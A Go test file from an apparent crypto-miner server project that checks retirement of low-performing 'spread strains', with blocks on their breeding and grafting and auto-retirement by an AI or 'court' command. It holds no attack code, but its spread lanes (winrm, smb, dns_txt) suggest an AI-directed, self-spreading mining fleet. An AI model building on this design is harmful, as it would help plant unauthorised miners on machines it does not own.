Files
AetherForge/server/internal/api/strain_hospice_test.go
AetherForge d605ef4adb
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Strain Hospice for graceful low-win strain retirement.
Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
2026-06-07 09:26:39 -07:00

184 lines
6.0 KiB
Go

package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
func TestPostStrainHospiceOperatorRetirement(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("winrm")
cardJSON := `{"id":"c1","spread_strain":"` + strain + `","wins":["docker"],"losses":["wsl","winrm"]}`
_, err := database.UpsertStrainCard("root-1", "agent-1", []byte(cardJSON), db.StoredStrainCard{
SpreadStrain: strain, SpreadLane: "winrm", Persona: "aggressive",
})
if err != nil {
t.Fatal(err)
}
body, _ := json.Marshal(map[string]string{
"strain_id": strain,
"reason": "dozens of variations that don't work",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/strain-hospice", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostStrainHospice(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
}
ok, err := database.IsStrainInHospice(strain)
if err != nil || !ok {
t.Fatalf("strain not in hospice: ok=%v err=%v", ok, err)
}
rec, err := database.GetStrainHospice(strain)
if err != nil || rec.RetiredBy != string(strategy.StrainRetiredByOperator) {
t.Fatalf("record=%+v err=%v", rec, err)
}
if !strings.Contains(rec.CardJSON, `"wins"`) {
t.Fatalf("lineage card not preserved: %s", rec.CardJSON)
}
rows, err := database.ListOathLedger(5)
if err != nil || len(rows) == 0 {
t.Fatalf("oath ledger rows=%v err=%v", rows, err)
}
if rows[0].ActionType != db.OathStrainHospice {
t.Fatalf("oath action=%q", rows[0].ActionType)
}
hub.refreshHospiceBreedingCache()
reg := hub.breedingRegistry
fp := "windows|0|0|0|0|0|127.0.0"
_, bred := reg.RecordLaneWinner(strategy.LaneWinnerInput{
Fingerprint: fp, SpreadLane: "winrm",
TierOrder: []string{"container"}, PeakHashrate: 100,
})
if bred {
t.Fatal("hospice lane should not breed")
}
}
func TestPlayStrainCardBlockedInHospice(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("dns_txt")
if err := database.RetireStrain(strain, "operator", "test", `{"spread_strain":"`+strain+`"}`); err != nil {
t.Fatal(err)
}
agent := &models.Agent{ID: "target", Name: "Target", Status: "online", LastSeen: time.Now().UTC()}
if err := database.UpsertAgent(agent); err != nil {
t.Fatal(err)
}
cardJSON := `{"id":"card-1","spread_strain":"` + strain + `","persona":"persuasive","tier_order":["dns_txt"]}`
id, err := database.UpsertStrainCard("root", "src", []byte(cardJSON), db.StoredStrainCard{
SpreadStrain: strain, SpreadLane: "dns_txt",
})
if err != nil {
t.Fatal(err)
}
_ = hub
body, _ := json.Marshal(map[string]string{"agent_id": "target", "card_id": id})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/play-strain-card", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostPlayStrainCard(w, req)
if w.Code != http.StatusConflict {
t.Fatalf("expected 409, got %d %s", w.Code, w.Body.String())
}
}
func TestGraftBlockedFromHospiceSource(t *testing.T) {
fh, database, hub, _ := newTestFleetHandler(t)
hub.SetServerPolicy(ServerPolicy{AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 1})
strain := strategy.StrainFromSpreadLane("winrm")
if err := database.RetireStrain(strain, "operator", "test", "{}"); err != nil {
t.Fatal(err)
}
source := &models.Agent{
ID: "src", Name: "Src", Status: "online", JoinLane: "winrm",
SpreadStrain: strain, MiningHashrate: 500, LastSeen: time.Now().UTC(),
}
target := &models.Agent{
ID: "tgt", Name: "Tgt", Status: "online", MiningHashrate: 500, LastSeen: time.Now().UTC(),
}
for _, a := range []*models.Agent{source, target} {
if err := database.UpsertAgent(a); err != nil {
t.Fatal(err)
}
}
hub.mu.Lock()
hub.agentLiveTelemetry["tgt"] = map[string]interface{}{"mining_hashrate": 500.0}
hub.mu.Unlock()
body, _ := json.Marshal(map[string]string{"source_agent_id": "src", "target_agent_id": "tgt"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
w := httptest.NewRecorder()
fh.PostFleetGraft(w, req)
var resp map[string]interface{}
_ = json.Unmarshal(w.Body.Bytes(), &resp)
if resp["success"] == true {
t.Fatalf("graft should fail for hospice source: %s", w.Body.String())
}
}
func TestMaybeAutoRetireLowWinStrains(t *testing.T) {
_, database, hub, _ := newTestFleetHandler(t)
hub.SetServerPolicy(ServerPolicy{
AIControlEnabled: true,
StrainHospiceWinRateThreshold: 0.2,
StrainHospiceMinAttempts: 3,
})
strain := "#deadbeef"
cardJSON := `{"spread_strain":"` + strain + `","wins":["a"],"losses":["b","c","d","e"]}`
_, err := database.UpsertStrainCard("r1", "a1", []byte(cardJSON), db.StoredStrainCard{SpreadStrain: strain})
if err != nil {
t.Fatal(err)
}
hub.MaybeAutoRetireLowWinStrains()
ok, err := database.IsStrainInHospice(strain)
if err != nil || !ok {
t.Fatalf("expected AI auto hospice, ok=%v err=%v", ok, err)
}
}
func TestFleetAIExecutorStrainHospiceCourtCommand(t *testing.T) {
_, database, hub, _ := newTestFleetHandler(t)
strain := strategy.StrainFromSpreadLane("smb")
ag := &models.Agent{
ID: "court-agent", Name: "Court", Status: "online",
SpreadStrain: strain, JoinLane: "smb", LastSeen: time.Now().UTC(),
}
if err := database.UpsertAgent(ag); err != nil {
t.Fatal(err)
}
exec := &FleetAIExecutor{Hub: hub}
sum, err := exec.Execute("court-agent", fleetai.Command{
Type: fleetai.CmdStrainHospice,
Args: map[string]interface{}{"reason": "court L4 hospice vote"},
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(sum, "strain_hospice:") {
t.Fatalf("unexpected summary %q", sum)
}
ok, _ := database.IsStrainInHospice(strain)
if !ok {
t.Fatal("court command should retire strain")
}
}